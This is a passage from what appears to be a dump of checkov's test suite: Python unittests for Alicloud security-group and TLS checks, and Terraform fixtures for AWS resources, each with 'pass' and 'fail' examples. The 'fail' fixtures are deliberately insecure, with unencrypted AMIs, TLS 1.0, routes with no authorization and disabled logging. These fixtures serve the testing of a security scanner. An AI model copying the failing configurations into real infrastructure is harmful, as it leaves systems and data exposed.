self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_SecurityGroupUnrestrictedIngress22.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.SecurityGroupUnrestrictedIngress22 import check\n\n\nclass TestSecurityGroupUnrestrictedIngress22(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AbsSecurityGroupUnrestrictedIngress\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_security_group_rule.allow_all_high',\n            'alicloud_security_group_rule.allow_all_dns',\n            'alicloud_security_group_rule.allow_all_http',\n            'alicloud_security_group_rule.allow_all_ftp',\n            'alicloud_security_group_rule.allow_all_ftpdata',\n            'alicloud_security_group_rule.allow_all_mssqlmonitor',\n            'alicloud_security_group_rule.allow_all_mssql',\n            'alicloud_security_group_rule.allow_all_mysql',\n            'alicloud_security_group_rule.allow_all_oracledb',\n            'alicloud_security_group_rule.allow_all_postgresql',\n            'alicloud_security_group_rule.allow_all_rdp',\n            'alicloud_security_group_rule.allow_all_smtp',\n            'alicloud_security_group_rule.allow_all_telnet',\n            'alicloud_security_group_rule.allow_all_vnclistener',\n            'alicloud_security_group_rule.allow_all_vncserver',\n        }\n        failing_resources = {\n            'alicloud_security_group_rule.allow_all_tcp',\n            'alicloud_security_group_rule.allow_all_tcp2',\n            'alicloud_security_group_rule.allow_all_low',\n            'alicloud_security_group_rule.allow_all_ssh',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_SecurityGroupUnrestrictedIngress3389.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.SecurityGroupUnrestrictedIngress3389 import check\n\n\nclass TestSecurityGroupUnrestrictedIngress3389(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AbsSecurityGroupUnrestrictedIngress\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_security_group_rule.allow_all_low',\n            'alicloud_security_group_rule.allow_all_dns',\n            'alicloud_security_group_rule.allow_all_http',\n            'alicloud_security_group_rule.allow_all_ftp',\n            'alicloud_security_group_rule.allow_all_ftpdata',\n            'alicloud_security_group_rule.allow_all_mssqlmonitor',\n            'alicloud_security_group_rule.allow_all_mssql',\n            'alicloud_security_group_rule.allow_all_mysql',\n            'alicloud_security_group_rule.allow_all_oracledb',\n            'alicloud_security_group_rule.allow_all_postgresql',\n            'alicloud_security_group_rule.allow_all_smtp',\n            'alicloud_security_group_rule.allow_all_ssh',\n            'alicloud_security_group_rule.allow_all_telnet',\n            'alicloud_security_group_rule.allow_all_vnclistener',\n            'alicloud_security_group_rule.allow_all_vncserver',\n        }\n        failing_resources = {\n            'alicloud_security_group_rule.allow_all_tcp',\n            'alicloud_security_group_rule.allow_all_tcp2',\n            'alicloud_security_group_rule.allow_all_high',\n            'alicloud_security_group_rule.allow_all_rdp',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_TLSPoliciesAreSecure.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.TLSPoliciesAreSecure import check\n\n\nclass TestTLSPoliciesAreSecure(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_TLSPoliciesAreSecure\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_slb_tls_cipher_policy.pass',\n        }\n        failing_resources = {\n            'alicloud_slb_tls_cipher_policy.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ACMCertCreateBeforeDestroy/main.tf",
    "content": "resource \"aws_acm_certificate\" \"pass\" {\n  domain_name       = \"example.com\"\n  validation_method = \"DNS\"\n\n  tags = {\n    Environment = \"test\"\n  }\n\n  lifecycle {\n    create_before_destroy = true\n  }\n}\n\nresource \"aws_acm_certificate\" \"fail\" {\n  domain_name       = \"example.com\"\n  validation_method = \"DNS\"\n\n  tags = {\n    Environment = \"test\"\n  }\n\n  lifecycle {\n    create_before_destroy = false\n  }\n}\n\nresource \"aws_acm_certificate\" \"fail2\" {\n  domain_name       = \"example.com\"\n  validation_method = \"DNS\"\n\n  tags = {\n    Environment = \"test\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ACMCertSetLoggingPreference/main.tf",
    "content": "resource \"aws_acm_certificate\" \"pass\" {\n  domain_name       = \"example.com\"\n  validation_method = \"DNS\"\n\n  tags = {\n    Environment = \"test\"\n  }\n  options {\n    certificate_transparency_logging_preference = \"ENABLED\"\n  }\n  #   lifecycle {\n  #     create_before_destroy = true\n  #   }\n}\n\nresource \"aws_acm_certificate\" \"pass2\" {\n  domain_name       = \"example.com\"\n  validation_method = \"DNS\"\n\n  tags = {\n    Environment = \"test\"\n  }\n  #  options {\n  #    certificate_transparency_logging_preference = \"DISABLED\"\n  #  }\n  #   lifecycle {\n  #     create_before_destroy = true\n  #   }\n}\n\nresource \"aws_acm_certificate\" \"fail\" {\n  domain_name       = \"example.com\"\n  validation_method = \"DNS\"\n\n  tags = {\n    Environment = \"test\"\n  }\n  options {\n    certificate_transparency_logging_preference = \"DISABLED\"\n  }\n  #   lifecycle {\n  #     create_before_destroy = true\n  #   }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ALBDesyncMode/main.tf",
    "content": "# pass\n\nresource \"aws_lb\" \"pass\" {\n  internal           = false\n  load_balancer_type = \"application\"\n  name               = \"alb\"\n  subnets            = var.public_subnet_ids\n  desync_mitigation_mode = \"strictest\"\n  drop_invalid_header_fields = true\n}\n\nresource \"aws_alb\" \"pass\" {\n  internal           = false\n  load_balancer_type = \"application\"\n  name               = \"alb\"\n  subnets            = var.public_subnet_ids\n  drop_invalid_header_fields = true\n}\nresource \"aws_elb\" \"pass\" {\n  name               = \"foobar-terraform-elb\"\n  availability_zones = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n\n  access_logs {\n    bucket        = \"foo\"\n    bucket_prefix = \"bar\"\n    interval      = 60\n  }\n\n  listener {\n    instance_port     = 8000\n    instance_protocol = \"http\"\n    lb_port           = 80\n    lb_protocol       = \"http\"\n  }\n\n  listener {\n    instance_port      = 8000\n    instance_protocol  = \"http\"\n    lb_port            = 443\n    lb_protocol        = \"https\"\n    ssl_certificate_id = \"arn:aws:iam::123456789012:server-certificate/certName\"\n  }\n\n  health_check {\n    healthy_threshold   = 2\n    unhealthy_threshold = 2\n    timeout             = 3\n    target              = \"HTTP:8000/\"\n    interval            = 30\n  }\n\n  instances                   = [aws_instance.foo.id]\n  cross_zone_load_balancing   = true\n  idle_timeout                = 400\n  connection_draining         = true\n  connection_draining_timeout = 400\n\n  tags = {\n    Name = \"foobar-terraform-elb\"\n  }\n}\n\n\nresource \"aws_elb\" \"fail\" {\n  name               = \"foobar-terraform-elb\"\n  availability_zones = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n\n  access_logs {\n    bucket        = \"foo\"\n    bucket_prefix = \"bar\"\n    interval      = 60\n  }\n\n  listener {\n    instance_port     = 8000\n    instance_protocol = \"http\"\n    lb_port           = 80\n    lb_protocol       = \"http\"\n  }\n\n  listener {\n    instance_port      = 8000\n    instance_protocol  = \"http\"\n    lb_port            = 443\n    lb_protocol        = \"https\"\n    ssl_certificate_id = \"arn:aws:iam::123456789012:server-certificate/certName\"\n  }\n\n  health_check {\n    healthy_threshold   = 2\n    unhealthy_threshold = 2\n    timeout             = 3\n    target              = \"HTTP:8000/\"\n    interval            = 30\n  }\n  desync_mitigation_mode = \"monitor\"\n  instances                   = [aws_instance.foo.id]\n  cross_zone_load_balancing   = true\n  idle_timeout                = 400\n  connection_draining         = true\n  connection_draining_timeout = 400\n\n  tags = {\n    Name = \"foobar-terraform-elb\"\n  }\n}\n\nresource \"aws_lb\" \"fail\" {\n  internal           = false\n  load_balancer_type = \"application\"\n  name               = \"alb\"\n  subnets            = var.public_subnet_ids\n  desync_mitigation_mode = \"monitor\"\n  drop_invalid_header_fields = true\n}\n\nresource \"aws_alb\" \"fail\" {\n  internal           = false\n  load_balancer_type = \"application\"\n  name               = \"alb\"\n  subnets            = var.public_subnet_ids\n  drop_invalid_header_fields = true\n  desync_mitigation_mode = \"monitor\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ALBDropHttpHeaders/main.tf",
    "content": "# pass\n\nresource \"aws_lb\" \"enabled\" {\n  internal           = false\n  load_balancer_type = \"application\"\n  name               = \"alb\"\n  subnets            = var.public_subnet_ids\n\n  drop_invalid_header_fields = true\n}\n\nresource \"aws_alb\" \"enabled\" {\n  internal           = false\n  load_balancer_type = \"application\"\n  name               = \"alb\"\n  subnets            = var.public_subnet_ids\n\n  drop_invalid_header_fields = true\n}\n\n# failure\n\nresource \"aws_lb\" \"default\" {\n  internal           = false\n  load_balancer_type = \"application\"\n  name               = \"alb\"\n  subnets            = var.public_subnet_ids\n}\n\nresource \"aws_alb\" \"default\" {\n  internal           = false\n  load_balancer_type = \"application\"\n  name               = \"alb\"\n  subnets            = var.public_subnet_ids\n}\n\nresource \"aws_lb\" \"disabled\" {\n  internal           = false\n  load_balancer_type = \"application\"\n  name               = \"alb\"\n  subnets            = var.public_subnet_ids\n\n  drop_invalid_header_fields = false\n}\n\nresource \"aws_alb\" \"disabled\" {\n  internal           = false\n  load_balancer_type = \"application\"\n  name               = \"alb\"\n  subnets            = var.public_subnet_ids\n\n  drop_invalid_header_fields = false\n}\n\n# unknown\n\nresource \"aws_lb\" \"network\" {\n  internal           = false\n  load_balancer_type = \"network\"\n  name               = \"nlb\"\n  subnets            = var.public_subnet_ids\n}\n\nresource \"aws_lb\" \"gateway\" {\n  load_balancer_type = \"gateway\"\n  name               = \"glb\"\n\n  subnet_mapping {\n    subnet_id = var.subnet_id\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_AMICopyIsEncrypted/main.tf",
    "content": "\nresource \"aws_ami_copy\" \"fail\" {\n  name              = \"terraform-example\"\n  description       = \"A copy of ami-xxxxxxxx\"\n  source_ami_id     = \"ami-xxxxxxxx\"\n  source_ami_region = \"us-west-1\"\n  encrypted         = false #default is false\n  tags = {\n    Name = \"HelloWorld\"\n    test = \"failed\"\n  }\n}\n\n\nresource \"aws_ami_copy\" \"fail2\" {\n  name              = \"terraform-example\"\n  description       = \"A copy of ami-xxxxxxxx\"\n  source_ami_id     = \"ami-xxxxxxxx\"\n  source_ami_region = \"us-west-1\"\n  tags = {\n    Name = \"HelloWorld\"\n    test = \"failed\"\n  }\n}\n\n\nresource \"aws_ami_copy\" \"pass\" {\n  name              = \"terraform-example\"\n  description       = \"A copy of ami-xxxxxxxx\"\n  source_ami_id     = \"ami-xxxxxxxx\"\n  source_ami_region = \"us-west-1\"\n  encrypted         = true\n  tags = {\n    Name = \"HelloWorld\"\n    test = \"failed\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_AMICopyUsesCMK/main.tf",
    "content": "resource \"aws_ami_copy\" \"fail\" {\n  name              = \"terraform-example\"\n  description       = \"A copy of ami-xxxxxxxx\"\n  source_ami_id     = \"ami-xxxxxxxx\"\n  source_ami_region = \"us-west-1\"\n  encrypted         = false #default is false\n  tags = {\n    Name = \"HelloWorld\"\n    test = \"failed\"\n  }\n}\n\nresource \"aws_ami_copy\" \"pass\" {\n  name              = \"terraform-example\"\n  description       = \"A copy of ami-xxxxxxxx\"\n  source_ami_id     = \"ami-xxxxxxxx\"\n  source_ami_region = \"us-west-1\"\n  encrypted         = true #default is false\n  kms_key_id        = aws_kms_key.copy.arn\n  tags = {\n    Name = \"HelloWorld\"\n    test = \"failed\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_AMIEncryption/main.tf",
    "content": "resource \"aws_ami\" \"pass\" {\n  name                = \"terraform-example\"\n  virtualization_type = \"hvm\"\n  root_device_name    = \"/dev/xvda1\"\n\n  ebs_block_device {\n    device_name = \"/dev/xvda1\"\n    volume_size = 8\n    snapshot_id = \"someid\"\n  }\n\n  ebs_block_device {\n    device_name = \"/dev/xvda2\"\n    volume_size = 8\n    encrypted   = true\n  }\n}\n\nresource \"aws_ami\" \"pass2\" {\n  name                = \"terraform-example\"\n  virtualization_type = \"hvm\"\n  root_device_name    = \"/dev/xvda1\"\n\n  ebs_block_device {\n    device_name = \"/dev/xvda1\"\n    volume_size = 8\n    encrypted   = true\n  }\n}\n\nresource \"aws_ami\" \"fail\" {\n  name                = \"terraform-example\"\n  virtualization_type = \"hvm\"\n  root_device_name    = \"/dev/xvda1\"\n\n  ebs_block_device {\n    device_name = \"/dev/xvda1\"\n    volume_size = 8\n    snapshot_id = \"someid\"\n  }\n\n  ebs_block_device {\n    device_name = \"/dev/xvda2\"\n    volume_size = 8\n    encrypted   = false\n  }\n}\n\nresource \"aws_ami\" \"fail2\" {\n  name                = \"terraform-example\"\n  virtualization_type = \"hvm\"\n  root_device_name    = \"/dev/xvda1\"\n\n  ebs_block_device {\n    device_name = \"/dev/xvda1\"\n    volume_size = 8\n    encrypted   = false\n  }\n}\n\nresource \"aws_ami\" \"fail3\" {\n  name                = \"terraform-example\"\n  virtualization_type = \"hvm\"\n  root_device_name    = \"/dev/xvda1\"\n\n  ebs_block_device {\n    device_name = \"/dev/xvda1\"\n    volume_size = 8\n  }\n}\n\n\nprovider \"aws\" {\n  region = \"eu-west-2\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_AMILaunchIsShared/main.tf",
    "content": "resource \"aws_ami_launch_permission\" \"fail\" {\n  image_id   = \"ami-2345678\"\n  account_id = \"987654321\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_APIGatewayCacheEnable/main.tf",
    "content": "resource \"aws_api_gateway_stage\" \"pass\" {\n  name                  = \"example\"\n  cache_cluster_enabled = true\n}\n\nresource \"aws_api_gateway_stage\" \"fail\" {\n  name = \"example\"\n}\n\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_APIGatewayCreateBeforeDestroy/main.tf",
    "content": "resource \"aws_api_gateway_rest_api\" \"fail\" {\n  name = \"example\"\n  tags = { test = \"Fail\" }\n  # lifecycle {\n  #   create_before_destroy=true\n  # }\n}\n\nresource \"aws_api_gateway_rest_api\" \"fail2\" {\n  name = \"example\"\n  tags = { test = \"Fail\" }\n  lifecycle {\n    create_before_destroy = false\n  }\n}\n\nresource \"aws_api_gateway_rest_api\" \"pass\" {\n  name = \"example\"\n  tags = { test = \"Fail\" }\n  lifecycle {\n    create_before_destroy = true\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_APIGatewayDeploymentCreateBeforeDestroy/main.tf",
    "content": "resource \"aws_api_gateway_deployment\" \"pass\" {\n  rest_api_id = \"some rest api id\"\n  stage_name  = \"some name\"\n  lifecycle {\n    create_before_destroy = true\n  }\n  tags {\n    project = \"ProjectName\"\n  }\n}\n\n\nresource \"aws_api_gateway_deployment\" \"fail\" {\n  rest_api_id = \"some rest api id\"\n  stage_name  = \"some name\"\n  lifecycle {\n    create_before_destroy = false\n  }\n  tags {\n    project = \"ProjectName\"\n  }\n}\n\nresource \"aws_api_gateway_deployment\" \"fail2\" {\n  rest_api_id = \"some rest api id\"\n  stage_name  = \"some name\"\n\n  tags {\n    project = \"ProjectName\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_APIGatewayDomainNameTLS/main.tf",
    "content": "provider \"aws\" {\n  region = \"eu-west-2\"\n}\n\nresource \"aws_api_gateway_domain_name\" \"fail\" {\n  security_policy = \"TLS_1_0\"\n  domain_name     = \"api.freebeer10.com\"\n}\n\nresource \"aws_api_gateway_domain_name\" \"pass\" {\n  security_policy = \"TLS_1_2\"\n  domain_name     = \"api.freebeer12.com\"\n}\n\nresource \"aws_api_gateway_domain_name\" \"pass2\" {\n  security_policy = \"SecurityPolicy_TLS13_1_3_2025_09\"\n  domain_name     = \"api.modern-tls13.com\"\n}\n\nresource \"aws_api_gateway_domain_name\" \"pass3\" {\n  security_policy = \"SecurityPolicy_TLS13_1_2_2021_06\"\n  domain_name     = \"api.tls13-12.com\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_APIGatewayMethodSettingsCacheEnabled/main.tf",
    "content": "resource \"aws_api_gateway_method_settings\" \"fail\" {\n  rest_api_id = aws_api_gateway_rest_api.fail.id\n  stage_name  = aws_api_gateway_stage.fail.stage_name\n  method_path = \"path1/GET\"\n\n  settings {\n    caching_enabled      = false\n    metrics_enabled      = false\n    logging_level        = \"INFO\"\n    cache_data_encrypted = false\n    data_trace_enabled   = false\n  }\n}\n\nresource \"aws_api_gateway_method_settings\" \"pass\" {\n  rest_api_id = aws_api_gateway_rest_api.fail.id\n  stage_name  = aws_api_gateway_stage.fail.stage_name\n  method_path = \"path1/GET\"\n\n  settings {\n    caching_enabled      = true\n    metrics_enabled      = false\n    logging_level        = \"INFO\"\n    cache_data_encrypted = true\n    data_trace_enabled   = false\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_APIGatewayMethodSettingsCacheEncrypted/main.tf",
    "content": "resource \"aws_api_gateway_method_settings\" \"fail\" {\n  rest_api_id = aws_api_gateway_rest_api.fail.id\n  stage_name  = aws_api_gateway_stage.fail.stage_name\n  method_path = \"path1/GET\"\n\n  settings {\n    caching_enabled      = true\n    metrics_enabled      = false\n    logging_level        = \"INFO\"\n    cache_data_encrypted = false\n    data_trace_enabled   = false\n  }\n}\n\nresource \"aws_api_gateway_method_settings\" \"pass\" {\n  rest_api_id = aws_api_gateway_rest_api.fail.id\n  stage_name  = aws_api_gateway_stage.fail.stage_name\n  method_path = \"path1/GET\"\n\n  settings {\n    caching_enabled      = true\n    metrics_enabled      = false\n    logging_level        = \"INFO\"\n    cache_data_encrypted = true\n    data_trace_enabled   = false\n  }\n}\n\nresource \"aws_api_gateway_method_settings\" \"pass2\" {\n  rest_api_id = aws_api_gateway_rest_api.fail.id\n  stage_name  = aws_api_gateway_stage.fail.stage_name\n  method_path = \"path1/GET\"\n\n  settings {\n    metrics_enabled      = false\n    logging_level        = \"INFO\"\n    data_trace_enabled   = false\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_APIGatewayMethodSettingsDataTrace/main.tf",
    "content": "resource \"aws_api_gateway_method_settings\" \"fail\" {\n  rest_api_id = aws_api_gateway_rest_api.test.id\n  stage_name  = aws_api_gateway_stage.test.stage_name\n  method_path = \"path1/GET\"\n\n  settings {\n    data_trace_enabled = true\n  }\n}\n\nresource \"aws_api_gateway_method_settings\" \"pass_explicit\" {\n  rest_api_id = aws_api_gateway_rest_api.test.id\n  stage_name  = aws_api_gateway_stage.test.stage_name\n  method_path = \"path1/GET\"\n\n  settings {\n    data_trace_enabled = false\n  }\n}\n\nresource \"aws_api_gateway_method_settings\" \"pass_implicit\" {\n  rest_api_id = aws_api_gateway_rest_api.test.id\n  stage_name  = aws_api_gateway_stage.test.stage_name\n  method_path = \"path1/GET\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_APIGatewayV2RouteDefinesAuthorizationType/main.tf",
    "content": "resource \"aws_apigatewayv2_route\" \"fail\" {\n  api_id    = aws_apigatewayv2_api.example.id\n  route_key = \"$default\"\n}\n\nresource \"aws_apigatewayv2_route\" \"fail2\" {\n  api_id    = aws_apigatewayv2_api.example.id\n  route_key = \"$default\"\n  authorization_type = \"NONE\"\n}\n\nresource \"aws_apigatewayv2_route\" \"pass2\" {\n  api_id    = aws_apigatewayv2_api.example.id\n  route_key = \"$default\"\n  authorization_type = \"JWT\"\n}\n\nresource \"aws_apigatewayv2_route\" \"pass\" {\n  api_id    = aws_apigatewayv2_api.example.id\n  route_key = \"$default\"\n  authorization_type = \"AWS_IAM\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_AWSCodeGuruHasCMK/AWSCodeGuruHasCMK.tf",
    "content": "\nresource \"aws_codegurureviewer_repository_association\" \"pass\" {\n  repository {\n    codecommit {\n      name = \"repository_name\"\n    }\n  }\n  kms_key_details {\n    encryption_option = \"CUSTOMER_MANAGED_CMK\"\n    kms_key_id        = \"aws_kms_key.example.key_id\"\n  }\n}\n\nresource \"aws_codegurureviewer_repository_association\" \"ckv_unittest_fail_no_encryption_option\" {\n  repository {\n    codecommit {\n      name = \"repository_name\"\n    }\n  }\n  kms_key_details {\n    kms_key_id        = \"aws_kms_key.example.key_id\"\n  }\n}\n\n\nresource \"aws_codegurureviewer_repository_association\" \"ckv_unittest_fail_no_kms_key_details\" {\n  repository {\n    codecommit {\n      name = \"repository_name\"\n    }\n  }\n}\n\nresource \"aws_codegurureviewer_repository_association\" \"ckv_unittest_fail_encryption_option_OWNED\" {\n  repository {\n    codecommit {\n      name = \"repository_name\"\n    }\n  }\n  kms_key_details {\n    encryption_option = \"AWS_OWNED_CMK\"\n    kms_key_id        = \"aws_kms_key.example.key_id\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_AppFlowConnectorProfileUsesCMK/main.tf",
    "content": "resource \"aws_appflow_connector_profile\" \"fail\" {\n  name            = \"example_profile\"\n  connector_type  = \"Redshift\"\n  connection_mode = \"Public\"\n\n  connector_profile_config {\n\n    connector_profile_credentials {\n      redshift {\n        password = aws_redshift_cluster.example.master_password\n        username = aws_redshift_cluster.example.master_username\n      }\n    }\n\n    connector_profile_properties {\n      redshift {\n        bucket_name  = aws_s3_bucket.example.name\n        database_url = \"jdbc:redshift://${aws_redshift_cluster.example.endpoint}/${aws_redshift_cluster.example.database_name}\"\n        role_arn     = aws_iam_role.example.arn\n      }\n    }\n  }\n}\n\nresource \"aws_appflow_connector_profile\" \"pass\" {\n  name            = \"example_profile\"\n  connector_type  = \"Redshift\"\n  connection_mode = \"Public\"\n  kms_arn = aws_kms_key.example.arn\n\n\n  connector_profile_config {\n\n    connector_profile_credentials {\n      redshift {\n        password = aws_redshift_cluster.example.master_password\n        username = aws_redshift_cluster.example.master_username\n      }\n    }\n\n    connector_profile_properties {\n      redshift {\n        bucket_name  = aws_s3_bucket.example.name\n        database_url = \"jdbc:redshift://${aws_redshift_cluster.example.endpoint}/${aws_redshift_cluster.example.database_name}\"\n        role_arn     = aws_iam_role.example.arn\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_AppFlowUsesCMK/main.tf",
    "content": "resource \"aws_appflow_flow\" \"fail\" {\n  name = \"example\"\n\n  source_flow_config {\n    connector_type = \"S3\"\n    source_connector_properties {\n      s3 {\n        bucket_name   = aws_s3_bucket_policy.example_source.bucket\n        bucket_prefix = \"example\"\n      }\n    }\n  }\n\n  destination_flow_config {\n    connector_type = \"S3\"\n    destination_connector_properties {\n      s3 {\n        bucket_name = aws_s3_bucket_policy.example_destination.bucket\n\n        s3_output_format_config {\n          prefix_config {\n            prefix_type = \"PATH\"\n          }\n        }\n      }\n    }\n  }\n\n  task {\n    source_fields     = [\"exampleField\"]\n    destination_field = \"exampleField\"\n    task_type         = \"Map\"\n\n    connector_operator {\n      s3 = \"NO_OP\"\n    }\n  }\n\n  trigger_config {\n    trigger_type = \"OnDemand\"\n  }\n}\n\nresource \"aws_appflow_flow\" \"pass\" {\n  name = \"example\"\n\n  source_flow_config {\n    connector_type = \"S3\"\n    source_connector_properties {\n      s3 {\n        bucket_name   = aws_s3_bucket_policy.example_source.bucket\n        bucket_prefix = \"example\"\n      }\n    }\n  }\n\n  destination_flow_config {\n    connector_type = \"S3\"\n    destination_connector_properties {\n      s3 {\n        bucket_name = aws_s3_bucket_policy.example_destination.bucket\n\n        s3_output_format_config {\n          prefix_config {\n            prefix_type = \"PATH\"\n          }\n        }\n      }\n    }\n  }\n\n  task {\n    source_fields     = [\"exampleField\"]\n    destination_field = \"exampleField\"\n    task_type         = \"Map\"\n\n    connector_operator {\n      s3 = \"NO_OP\"\n    }\n  }\n\n  kms_arn = aws_kms_key.example.arn\n\n  trigger_config {\n    trigger_type = \"OnDemand\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_AppSyncFieldLevelLogs/main.tf",
    "content": "# pass\n\nresource \"aws_appsync_graphql_api\" \"all\" {\n  authentication_type = \"API_KEY\"\n  name                = \"example\"\n\n  log_config {\n    cloudwatch_logs_role_arn = \"aws_iam_role.example.arn\"\n    field_log_level          = \"ALL\"\n  }\n}\n\nresource \"aws_appsync_graphql_api\" \"error\" {\n  authentication_type = \"API_KEY\"\n  name                = \"example\"\n\n  log_config {\n    cloudwatch_logs_role_arn = \"aws_iam_role.example.arn\"\n    field_log_level          = \"ERROR\"\n  }\n}\n\n# fail\n\nresource \"aws_appsync_graphql_api\" \"none\" {\n  authentication_type = \"API_KEY\"\n  name                = \"example\"\n\n  log_config {\n    cloudwatch_logs_role_arn = \"aws_iam_role.example.arn\"\n    field_log_level          = \"NONE\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_AppSyncLogging/main.tf",
    "content": "# pass\n\nresource \"aws_appsync_graphql_api\" \"enabled\" {\n  authentication_type = \"API_KEY\"\n  name                = \"example\"\n\n  log_config {\n    cloudwatch_logs_role_arn = \"aws_iam_role.example.arn\"\n    field_log_level          = \"ERROR\"\n  }\n}\n\n# fail\n\nresource \"aws_appsync_graphql_api\" \"default\" {\n  authentication_type = \"API_KEY\"\n  name                = \"example\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_AppsyncAPICacheEncryptionAtRest/main.tf",
    "content": "resource \"aws_appsync_api_cache\" \"pass\" {\n  api_id                     = aws_appsync_graphql_api.default.id\n  transit_encryption_enabled = true\n  at_rest_encryption_enabled = true\n  ttl                        = 60\n  type                       = \"SMALL\"\n  api_caching_behavior       = \"FULL_REQUEST_CACHING\"\n}\n\nresource \"aws_appsync_api_cache\" \"fail\" {\n  api_id                     = aws_appsync_graphql_api.default.id\n  transit_encryption_enabled = false\n  at_rest_encryption_enabled = false\n  ttl                        = 60\n  type                       = \"SMALL\"\n  api_caching_behavior       = \"FULL_REQUEST_CACHING\"\n}\n\nresource \"aws_appsync_api_cache\" \"fail2\" {\n  api_id               = aws_appsync_graphql_api.default.id\n  ttl                  = 60\n  type                 = \"SMALL\"\n  api_caching_behavior = \"FULL_REQUEST_CACHING\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_AppsyncAPICacheEncryptionInTransit/main.tf",
